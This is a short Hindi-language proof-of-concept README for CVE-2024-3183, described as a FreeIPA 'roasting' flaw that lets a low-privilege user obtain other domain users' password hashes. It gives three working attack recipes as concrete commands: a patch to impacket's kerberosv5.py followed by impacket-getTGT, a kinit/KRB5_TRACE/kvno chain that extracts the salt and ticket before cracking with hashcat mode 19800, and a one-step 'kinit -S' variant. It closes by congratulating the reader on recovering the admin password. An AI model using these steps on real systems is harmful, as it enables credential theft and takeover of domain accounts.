CVE-2024-3183-POC

CVE-2024-3183 (FreeIPA Rosting) के लिए POC

प्रभाव: एक निम्न-विशेषाधिकार प्राप्त उपयोगकर्ता सभी डोमेन उपयोगकर्ताओं के पासवर्ड का हैश प्राप्त कर सकता है और ऑफ़लाइन ब्रूट फोर्स (kerberoasting) कर सकता है।

impacket-getTGT पैच करें:

1. impacket/krb5/kerberosv5.py में decoder.decode.defaultErrorState = stGetValueDecoderByTag जोड़ें।
2. आनंद लें!

POC1:

1. impacket/krb5/kerberosv5.py में decoder.decode.defaultErrorState = stGetValueDecoderByTag जोड़ें।
2. आप एक ही कमांड में salt प्राप्त करने के लिए -service विकल्प और -debug विकल्प के साथ impacket-getTGT का उपयोग कर सकते हैं। impacket-getTGT test.local/user -debug -service admin

POC2:

1. सबसे पहले, पहले से समझौता किए गए उपयोगकर्ता "admin" के लिए एक TGT टिकट का अनुरोध करते हैं। kinit user
2. दूसरे, हम "admin" उपयोगकर्ता का salt पता करेंगे: printf "%b" "0\n" | KRB5_TRACE=/dev/stdout kinit admin | grep salt
3. "admin" के लिए TGS प्राप्त करें: kvno admin
4. TGS की ब्रूट फोर्स के लिए python स्क्रिप्ट (या विशिष्ट salt के साथ hashcat mod 19800) का उपयोग करें

1 - TGS, 2 - SALT, 3 - पासवर्ड।

5. बधाई हो, अब हमारे पास उपयोगकर्ता “admin” का पासवर्ड है।

POC3:

1. आप एक ही कदम में kinit का उपयोग कर सकते हैं: kinit -S target user

और आपको TGT मिलता है जो लक्षित उपयोगकर्ता की कुंजी से एन्क्रिप्ट किया गया होता है।